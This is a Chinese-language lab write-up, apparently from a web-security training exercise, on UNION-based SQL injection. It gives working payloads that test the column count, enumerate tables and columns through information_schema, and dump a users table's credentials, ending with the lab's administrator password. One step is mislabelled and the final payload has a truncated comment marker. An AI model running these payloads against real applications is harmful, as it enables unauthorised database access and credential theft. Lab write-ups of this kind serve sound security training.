# Web SQL injection Lab5
這題 Lab 是一個經典的 UNION-based SQL Injection(聯集查詢型 SQL 注入),目的是透過注入來:
- 列出資料表名稱
- 找到帳密儲存的表格
- 查出帳號與密碼欄位名稱
- 查出所有帳密內容
- 用 administrator 的帳號登入完成挑戰
一樣先進到網站裡。

先攔截請求並修改。
```
'+UNION+SELECT+'abc','def'--
```

都有顯示出來,所以可以進行下一步。
接著列出所有資料表名稱。
```
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
```
- information_schema.tables 是一個資料庫中的系統表,用來儲存所有資料表的清單。
- 我們這裡選擇顯示 table_name 作為第一欄(因為我們剛剛確定第一欄會顯示),第二欄用 NULL 補上欄位數。

觀察頁面,看是否有類似 users 的表格名稱出現。

顯然有一個可疑的`users_bohews`,所以我們列出表格內容。
```
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_bohews'--
```
- 指定查詢的 table 是 'users_bohews'。
- information_schema.columns 是儲存每個表格欄位名稱的系統表。
- column_name 是你要查的欄位名稱。
確定兩個欄位 `username_rjndxh` 和 `password_amzgiy` 分別是存放 username 跟 password。

確定會顯示文字在畫面上後,最後就來顯示資料庫版本。
```
'+UNION+SELECT+username_rjndxh,+password_amzgiy+FROM+users_bohews-
```

確實查到了帳號密碼,所以我們拿去登入看看。
`administrator:dqvjlxzmzckpu0665fm9`
